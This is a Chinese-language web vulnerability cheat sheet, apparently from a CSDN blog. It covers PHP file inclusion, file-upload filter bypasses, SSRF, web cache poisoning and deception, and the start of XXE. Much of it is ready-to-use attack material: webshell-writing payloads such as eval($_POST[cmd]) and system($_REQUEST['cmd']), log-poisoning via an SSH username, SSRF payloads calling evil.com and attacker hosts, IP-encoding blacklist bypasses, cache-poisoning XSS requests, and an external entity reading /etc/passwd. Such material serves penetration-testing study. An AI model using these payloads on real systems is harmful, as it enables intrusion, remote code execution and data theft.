web漏洞总结大全(基础)_web漏洞文章 csdn

input协议是个可以访问请求的原始数据的只读流。使用时,将要输入的数据以post方式提交
利用条件:

1. PHP.ini 中 allow_url_include= On
2. php <5.0 ,allow_url_include=Off 也可以

读取目录结构
<?php print_r(scandir("C:\phpStudy\PHPTutorial\WWW"))?> #改成想查看的路径即可

写入木马
GET:<?php fputs(fopen('shell.php','w'),'<?=`{${~"\xa0\xb8\xba\xab"}[1]}`;');?>
POST:<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

phar

phar协议数据流包装器自PHP 5.3.0起开始。这个参数是就是php解压缩包的一个函数,不管目标文件后缀是什么,都将其当做压缩包来解压
利用条件:

PHP>= 5.3.0

payload

?file=phar://压缩包/内部文件

zip

zip伪协议和phar协议类似,但是用法不一样
利用条件:

5.2.17 =<php <= 7.0.12

payload:

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]zip://xxx.png#shell.php或zip://xxx.zip#shell.php

日志文件包含

Linux存储路径

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Windows存储路径

D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
C:\WINDOWS\system32\Logfiles
%SystemDrive%\inetpub\logs\LogFiles
C:/Windows/system32/inetsrv/metabase.xml
C:\Windows\System32\inetsrv\config\applicationHost.config

apache/nginx报错日志

利用条件:

需要知道服务器日志的存储路径,且日志文件可读

利用原理:

web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log

正常的php代码已经写入了 error.log,包含即可执行代码

利用文件包含漏洞去包含log文件:

ssh登录日志

利用条件:

需要知道ssh-log的位置,且可读

ssh日志默认位置:

/var/log/auth.log(默认情况下,所有用户都可读)
/var/log/secure

payload:使用终端执行以下命令

ssh '<?php phpinfo();?>'@IP

远程文件包含绕过

问号绕过
?file=http://192.168.91.139/phpinfo.php?

井号绕过
?file=http://192.168.91.139/phpinfo.php#

这里推荐一个方便测试本地文件包含的工具

https://github.com/kurobeats/fimap

参数:

./fimap.py -u http://192.168.56.103/fileincl/example1.php?page=


fuzz字典

https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

文件上传

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传” 本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

不同的Web服务执行的脚本格式可能会有所不同,那么扩展名也会不同,通常Web服务的脚本类型来决定扩展名
常见的脚本解析扩展名

PHP: 
.php, .php2, .php3, .php4, .php5, .php6,.php7,
.phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml,
.htaccess, .phar, .inc, .hphp,.ctp, .module

在PHP8版本中仅支持: 
.php, .php4, .php5, .phtml, .module, .inc, .hphp

ASP: 
.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd,
.cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, 
.asa, .cer,.shtml

Jsp: 
.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

Coldfusion:
.cfm、.cfml、.cfc、.dbm

Flash: .swf

Perl:
.pl, .cgi

Erlang Yaws Web Server: 
.yaws

绕过文件扩展名检查

1.大小写绕过、更改字母大小写

如 .PHp, .pHP5, .PhAr ...

2.使用以前的扩展

如 file.png.php file.png.php5

  1. 在末尾添加特殊字符(也可以配合Burp进行爆破所有的ascii和Unicode字符)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....

4.尝试添加加倍扩展或者扩展之间添加空字节,等技术来绕过欺骗服务器端扩展解析器的保护。还可以使用以前的扩展来准备更好的Payload。

file.png.php
file.png.pHp5
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
flile.phpJunk123png

5.在之前的检查基础上再增加一层扩展

file.png.jpg.php
file.php%00.png%00.jpg

6.可将执行脚本扩展名放入有效扩展名之前(看服务器配置有没有错误,运气问题,对于利用Apache错误配置很有用)

例如:file.php.png

7.在Windows中使用NTFS备用数据流(ADS) 在这种情况下插入一个冒号符号":"比如服务器禁止带有扩展名的空文件下

例如 file.asax:.jpg
也可以使用::$data 模式也可用于创建非空文件
例如 file.asp::$data

8.尝试打破文件名限制,有效的文件名被切断,恶意的PHP就留下来了。AAA<–SNIP–>AAA.php

# Linux 最大字节为255字节,利用metasploit脚本生成
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去4字节 并加入 .png

# 上传文件并检查响应允许的字符数。比方说236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 制作有效Payload,前面是232个字节A剩下4个位置
AAA<--SNIP 232 A-->AAA.php.png

关于在Windows中使用NTFS 备用数据流 (ADS)可以参考这篇文章

https://www.cnblogs.com/zUotTe0/p/13455971.html

绕过内容类型、文件头

  1. 更改Content-Type请求头
image/png 、text/plain 、 application/octet-stream 

更多内容类型词表
https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt

  1. 通过在文件开头添加真实图像的字节来绕过文件头检查(混淆_文件_命令)。

在图片的**元数据中引入 shell **:

exiftool -comment="<?php phpinfo(); ?>" nasa.png


最后将nasa.png 重命名为nasa.php ,将其上传到应用程序,Web 服务器会将文件解释为 PHP 脚本,忽略原始 PNG 文件的所有合法数据,并简单地执行我们在文件注释部分中找到的 PHP 负载。

也可以直接在图像中引入有效载荷,用法和上一个一致

echo '<?php system($_REQUEST['cmd']); ?>' >> hh.png

特殊的扩展技巧

在得知中间件的情况下可以尝试利用中间件配置文件的特性尝试图片扩展限制

.htaccess特性

.htaccess仅支持Apache,这个文件通常叫伪静态文件,是apache的配置文件,会涉及到网址脚本格式的解析规则,我们可以通过这个文件实现解析的自定义

<FilesMatch "jpg">//文件匹配到这个文件名
SetHandler application/x-httpd-php//将以php的文件类型格式执行
</FilesMatch>  
 
或者是这个
AddType application/x_httpd_php jpg

先上传.htacces文件后上传hh.jpg的图片马,访问hh.jpg,可以看见文件是以php格式执行

.user.ini特性

.user.ini只能用于Server API为FastCGI模式下,正常情况下apache不运行此模块

auto_prepend_file=hh.jpg  文件前插入
auto_append_file=hh.jpg   文件最后插入

通常在文件上传中,一般是专门有一个目录用来存在图片,可能小概率会存在.php 文件。.user.ini局限是php文件可以包含该指定的文件,如果你不访问目标网址php文件那就不能包含图片马,也使用不了,如果访问了目录上的php文件,就能解析图片马,这就是.user.ini的利用方式。
上传配置文件

auto_append_file=2.png


上传图片前,先访问php文件,可以看见没有任何问题

上传图片马

再次访问php文件,成功包含图片马的脚本内容

从文件上传到其他漏洞

通过设置文件名来测试是否有其他漏洞存在的可能性

目录遍历
../../../tmp/lol.png

SQL 注入
sleep(10)-- -.jpg

实现XSS
<svg onload=alert(document.domain)>

命令注入
; sleep 10;

总结

文件上传危害是很大的,一般上传成功之后直接getshell,通过前面的信息收集并测试payload来提高上传的成功率,最后还可以尝试利用文件名来扩大漏洞的范围性。

SSRF

服务端请求伪造(Server-Side Request Forgery),指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。

我用一下代码举例:

<?php
if(isset($_GET['url']) && $_GET['url'] != null){

    //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
    $URL = $_GET['url'];
    $CH = curl_init($URL);
    curl_setopt($CH, CURLOPT_HEADER, FALSE);
    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
    $RES = curl_exec($CH);
    curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
    echo $RES;

}

?>

通过url这个参数进行传参,可以看见代码没有进行任何过滤,导致了可以利用url进行协议攻击

漏洞验证

  1. 排除法:浏览器F12查看源代码看是否是在本地进行了请求
比如:该资源地址类型为 http://www.xxx.com/a.php?url=(地址)的就可能存在SSRF漏洞

  1. 盲打:利用dnslog等平台进行测试,查看是否存在回显
http://dnslog.cn/
http://ceye.io

  1. 抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址

一些可能存在SSRF的功能点

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodb的copyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

一些的url中的关键字:

share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

利用方式

http

主要用于探测内网主机存活、端口开放情况,利用上面编好的SSRF漏洞来测试一下:

  • 探测一下本地是否存在mysql服务器
?url=127.0.0.1:3306


伪造请求探测服务器的其他端口

如果对url后缀有限制则可以用?或者#绕过

?url=127.0.0.1:3306/?
?url=127.0.0.1:3306/#

file

尝试配合 file 协议来获取存在 SSRF 漏洞的本机内网 IP 地址信息,确认当前资产的网段信息

file:///etc/hosts

还可以尝试读取 /proc/net/arp 或者 /etc/network/interfaces 来判断当前机器的网络情况

file:///proc/net/arp
file:///etc/network/interfaces

SFTP

sftp代表SSH文件传输协议,通过sftp协议获取SSH相关信息

ssrf.php?url=sftp://evil.com:11111/

kali监听4444端口等待回显

在存在SSRF处输入Payload

sftp://192.168.3.14:4444


TFTP

普通文件传输协议用于,在 UDP 上工作

ssrf.php?url=tftp://evil.com:1/TESTUDPPACKET

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET 
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

LDAP

ldap://或ldaps:// 或ldapi:// 轻量级目录访问协议。它是一种在IP网络上用于管理和访问分布式目录信息服务的应用协议。

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

dict

DICT URL 方案用于引用使用 DICT 协议可用的定义或单词列表,可以用来操作内网Redis等服务,字典协议自带头尾,限制较大,不能转化成GET或者POST的请求

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/

SSRF 常配合 DICT 协议探测内网端口开放情况,但不是所有的端口都可以被探测,一般只能探测出一些带 TCP 回显的端口

dict://xx.xx.xx.xx:port

Gopher

Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

支持换行可以伪造其他的所有协议,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。

推荐一个基于利用Gopher协议的工具

https://github.com/tarunkant/Gopherus

此工具为以下各项服务生成 Gopher协议 有效Payload:

MySQL
PostgreSQL
FastCGI
Redis
Zabbix
Memcache

关于工具用法可以参考这篇文章

https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/

白名单&&黑名单

在前面中我们提到SSRF产生的原因为未对参数中引用的URL进行限制,使得攻击者能够利用这一漏洞将引用的URL指向内网中的其它地址以获得本应该被拒绝外网访问的资源。因此常见的SSRF防御手段为对引用的URL进行限制。常见的限制手段有黑名单和白名单两种。

什么是黑名单&&白名单?

黑名单是指不允许某些地址并在收到黑名单地址作为输入时阻止请求的做法。白名单意味着服务器只允许通过包含预先指定列表中的 URL 的请求,并使所有其他请求失败。

绕过黑名单

由于web应用的需求是需要获取外部资源,大多数SSRF保护机制都是以黑名单的形式出现的。如果面临黑名单,有多种方法欺骗服务器。

重定向

让服务器请求一个你控制的 URL,该 URL 重定向到列入黑名单的地址。例如,你可以在您的 Web 服务器上托管一个包含以下内容的文件:

<?php header("Location: http://127.0.0.1"); ?>

假设此文件托管在http://attacker.com/redirect.php 。这样,当您向目标服务器发出请求http://attacker.com/redirect.php时,目标服务器实际上被重定向到http://127.0.0.1 ,一个受限制的内部地址。

更改IP写法

下面是一些常用于绕过黑名单的方式

# Localhost
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://0
http:@0/ --> http://localhost/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪

# CDIR绕过
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

# 点号绕过
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821

# 十进制绕过
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

# 八进制绕过
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001

# 十六进制绕过
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001

# 还可以混合使用各种编码绕过
# https://www.silisoftware.com/tools/ipconverter.php

# 畸形而罕见的绕过方式
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1

# DNS解析到本地主机
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1

绕过白名单

白名单通常更难绕过,因为它们在默认情况下比黑名单更严格。但如果白名单域中存在开放重定向漏洞,则有可能。如果您可以找到一个开放的重定向,你可以请求一个重定向到内部 URL 的白名单 URL。
例如,可以通过使用子域或目录作为白名单域名。

victim.com.attacker.com
attacker.com/victim.com

更改域名写法
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ   利用封闭的字母数字绕过

下面封闭的字母数字

① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

域混淆

利用不同的域名配合符号进行干扰从而突破限制

# 还尝试将 attacker.com 更改为 127.0.0.1 以尝试访问
http://{domain}@attacker.com
http://{domain}%6D@attacker.com
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
http://attacker.com#{domain}
http://{domain}.attacker.com
http://attacker.com/{domain}
http://attacker.com/?d={domain}
https://{domain}@attacker.com
https://attacker.com#{domain}
https://{domain}.attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
http://{domain}@attacker.com
http://attacker.com#{domain}
http://{domain}.attacker.com
http://attacker.com/{domain}
http://attacker.com/?d={domain}
http://attacker.com%00{domain}
http://attacker.com?{domain}
http://attacker.com///{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/

# 在每个 IP 位置尝试将 1 个攻击者域和其他受害者域
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

# 参数污染
next={domain}&next=attacker.com

总结

SSRF作为跳板攻击,常涉及到内网资产的安全性,其中攻击面最大的协议是Gopher,利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache还可以攻击内网未授权MySQL
常见的SSRF防御机制有两种原理,分别是黑名单和白名单。基于黑名单的SSRF保护相对容意绕过,基于白名单的SSRF保护则较难绕过,有一定的运气成分。如果能利用其他漏洞(如重定向漏洞)与SSRF相结合,可以达到事半功倍的作用。

web缓存中毒和web缓存欺骗

什么是web缓存

如果服务器必须分别向每个HTTP 请求发送新的响应,这可能会使服务器过载,从而导致延迟问题和各种问题,尤其是在繁忙时段。而缓存主要是减少此类问题的一种方法

缓存位于服务器和用户之间,它保存(缓存)对特定请求的响应,通常保存一段固定的时间。如果另一个用户随后发送等效请求,则缓存会直接向用户提供缓存响应的副本,而无需与后端进行任何交互。通过减少必须处理的重复请求的数量,这极大地减轻了服务器上的负载

用户发送请求的时间段(time user),缓存(cache),网站(website)

在这里插入图片描述

缓存键(cache key)

当缓存收到HTTP请求时,它首先要判断是否有缓存的响应可以直接服务,或者是否需要转发请求由后端服务器处理
简单来说,就是通过缓存键来判断两个请求是否正在尝试加载相同的资源
下面这两个请求是等效的,并使用从第一个请求缓存的响应来响应第二个请求:

GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=pl;
Connection: close

GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=en;
Connection: close

因此,该页面将提供给第二位访问者错误的语言格式

什么是缓存中毒

攻击者可以利用Web服务器和缓存的服务,以便向其他用户提供有害的 HTTP 响应

它的攻击方式是通过X-Forwarded-Host头,发送导致有害响应的请求,该响应将保存在缓存中并提供给其他用户,其他用户访问到此页面时将不是正常页面,而是被攻击者“中毒”之后的的页面,产生的危害通常是XSS,也可能导致信息泄露

Web缓存中毒可以利用许多不同的攻击,比如XSS、JavaScript 注入、开放重定向等漏洞

什么是缓存欺骗

它的漏洞原理和RPO (Relative Path Overwrite)相对路径覆盖漏洞较为类似,根因都在于浏览器和网络服务器对相同URL请求的解析不一致(宽字节、00截断也是)

通过“欺骗”用户访问一个不存在的静态页面,从而使敏感页面保存在缓存中,从而窃取用户敏感信息,通常是用户个人信息、业务敏感数据等,如果响应的主体中包含了用户的会话标识符、CSRF令牌可进一步可导致ATO

缓存中毒和缓存欺骗的区别

在Web 缓存中毒中,攻击者利用服务器在缓存中存储一些恶意内容,然后把这些内容从缓存中发送给其他用户

在web缓存欺骗中,攻击者利用服务器将属于另一个用户的一些敏感内容存储在缓存中,然后攻击者从缓存中查看这些敏感内容

web缓存中毒

在进行web缓存中毒攻击前,需要认识一些常见的HTTP标头

HTTP标头
请求包的ip来源
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Via: 1.0 fred, 1.1 127.0.0.1
Connection: close, X-Forwarded-For

重写位置
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console

服务器的缓存标头
X-Cache:在响应中可能具有请求未缓存时的值和缓存时的值

Cache-Control:指示资源是否正在被缓存以及下一次资源将在何时被再次缓存
Cache-Control: public, max-age=1800

Vary:通常在响应中用于指示附加标头,这些标头被视为缓存键的一部分,即使它们通常是未加密的

Age:定义对象在代理缓存中的时间(以秒为单位)

Server-Timing: 也表明资源被缓存
Server-Timing: cdn-cache; desc=HIT

本地的缓存标头
Clear-Site-Data: 标头指示应删除的缓存
Clear-Site-Data: "cache", "cookies"

Expires:包含响应到期的日期/时间
Expires:Wed, 21 Oct 2015 07:28:00 GMT

Warning:一般 HTTP 标头包含有关消息状态可能出现的问题的信息。一个响应中可能会出现多个标头
WarningWarningWarning: 110 anderson/1.3.37 "Response is stale"

服务器信息
Server: Apache/2.4.1 (Unix)
X-Powered-By: PHP/5.3.3

我只介绍了一部分,在这里有http标头大全:

https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/web/http-request-headers

web缓存中毒攻击
1.X-forwarded-Host

如果网站以不安全的方式处理非缓存键的输入并允许后续的HTTP响应被缓存,则他们很容易遭受Web缓存中毒。
比如:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: innocent-website.co.uk

HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://innocent-website.co.uk/cms/social.png" />

x-forwarded-host头的值用于动态生成image的URL,以上的案例可以这样利用:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://a."><script>alert(1)</script>"/cms/social.png" />

如果缓存了此响应,则将向/en?region=uk访问的所有用户都会收到XSS影响。

2.cookie

Cookie有时也用于在响应中动态生成内容,如果cookie也存在非缓存键则也会收到影响。
示例:

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

需要注意的是,如果cookie被用户大量使用,则定期请求将清理缓存

3.X-Forwarded-scheme/X-forwarded-Proto

X-Forwarded-scheme/X-Forwarded-Proto头:

当值不为https时,表示当前请求以http的方式发送,一般情况下都会返回302跳转到当前URL的https协议请求。当非缓存键是X-Forwarded-scheme头时,如果网站同时支持X-Forwarded-Host则可以通过两者结合达到web投毒的攻击效果

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

发送x-forwarded-scheme: http标头将导致 301 重定向到同一位置,这可以造成dos攻击

该应用程序还可能支持标头X-forwarded-host并将用户重定向到该主机,从而可以从攻击者服务器加载 javascript 文件:

4.返回缓存信息头

暴露太多的响应信息也可能会让攻击更容易

GET / HTTP/1.1
Host: unity3d.com
X-Host: portswigger-labs.net

HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
…
<script src="https://portswigger-labs.net/sites/files/foo.js"></script>

我们有一个X-Host协议头可以用于导入脚本的URL。响应协议头“Age”和“max-age”分别是当前响应的时间和它将过期的时间。总之,这些参数告诉我们应该在那个时间发送的有效Payload,以确保我们的响应被第一个缓存

更多利用方法:

https://xz.aliyun.com/t/2585

web缓存欺骗攻击

1.设置一个用户未缓存的服务器,并包含一个配置文件部分,如:https://www.example.com/my_profile

2.攻击者引诱受害者打开恶意制作的链接https://www.example.com/my_profile/test.css,其中“test.css”文件在网络服务器上不存在。

3.由于它是一个不存在的文件,应用程序会忽略 URL 的“test.css”部分并加载受害者的个人资料页面。此外,缓存将资源识别为样式表,并将其缓存

4.然后攻击者向缓存页面发送 GET 请求,https://www.example.com/my_profile/test.css将返回受害者个人资料页面

只有满足以下所有条件时,Web 缓存欺骗攻击才会起作用:

当https://www.example.com/my_profile/test.css被请求时,https://www.example.com/my_profile返回的内容作为响应。

Web缓存功能配置为根据扩展名缓存文件。

受害者在访问恶意制作的URL时必须经过身份验证。


缓存欺骗利用工具

https://github.com/arbazkiraak/web-cache-deception-checker

web缓存欺骗由于案例过少,之后实战后慢慢更新总结

总结

在挖掘web 缓存漏洞的时候首先要确定web系统架设了CDN,负载均衡器或反向代理等缓存设备,其次观察返回头是否设置缓存控制头Cache Control:no-cache,max-age=0,private,no-store,若未设置则很大可能存在此漏洞。

当然即使存在缓存标头也要尝试下,即使缺少缓存头,也不代表一定会获得缓存信息攻击

XXE

XXE(XML External Entity Injection) 全称为 XML 外部实体注入。XML 外部实体攻击是一种针对解析 XML 输入的应用程序的攻击。

什么是XML?

XML是可扩展标记语言(extensible markup language)的缩写,它是一种数据表示格式,可以描述非常复杂的数据结构,常用于传输和存储数据。
例如,一个描述书籍的XML文档可能如下:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note SYSTEM "book.dtd">
<book id="1">
    <name>Java核心技术</name>
    <author>Cay S. Horstmann</author>
    <isbn lang="CN">1234567</isbn>
    <tags>
        <tag>Java</tag>
        <tag>Network</tag>
    </tags>
    <pubDate/>
</book>

什么是 XML 实体?

XML 实体是一种在 XML 文档中表示数据项的方式,而不是使用数据本身。XML 语言规范中内置了各种实体。例如,实体<和>表示字符<和>。这些是用于表示 XML 标记的元字符,因此当它们出现在数据中时,通常必须使用它们的实体来表示。
<、>、&、’、”在xml中是特殊符号,需要用实体表示

<	&lt;
>	&gt;
&	&amp;
’ 	&apos;
”	&quot;

DTD是什么?

XML文件的文档类型定义(Document Type Definition)可以看成一个或者多个XML文件的模板,在这里可以定义XML文件中的元素、元素的属性、元素的排列方式、元素包含的内容等等。通常简称为DTD。
DTD文档有三种应用形式,分别是内部DTD,外部DTD,最后是两者的混合。
内部文档DTD:

<!DOCTYPE 根元素[定义内容]> //根元素可以自定义名称,定义内容为DTD的声明语法

外部文档DTD:

<!DOCTYPE 根元素 SYSTEM "DTD文件路径">

内外部DTD文档结合

<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

实体

声明DTD的实体语法,我们可以修改或者定义XML中的内容,来达到想要的目的,这也是XXE攻击的由来的原因,常见的手法有两种:自定义内部实体和自定义外部实体
DTD的实体声明语法如下:

<!ENTITY 实体名称 实体內容> //实体名称和实体内容均可以自定义

自定义内部实体

可以修改xml文档中的内容

<!DOCTYPE user[<!ENTITY myentity "aa">]>

<user><username>&myentity;</username><password>hh</password></user>
//这里引用了一个实体名称myentity,需要在标签里用 &实体名称; 引用它

自定义外部实体

可以引用外部资源到实体中

<!DOCTYPE user[<!ENTITY myentity SYSTEM "file:///etc/passwd">]>
//命名了一个叫myentity的实体,SYSTEM的作用是获取外部资源并将其存储在myentity实体中

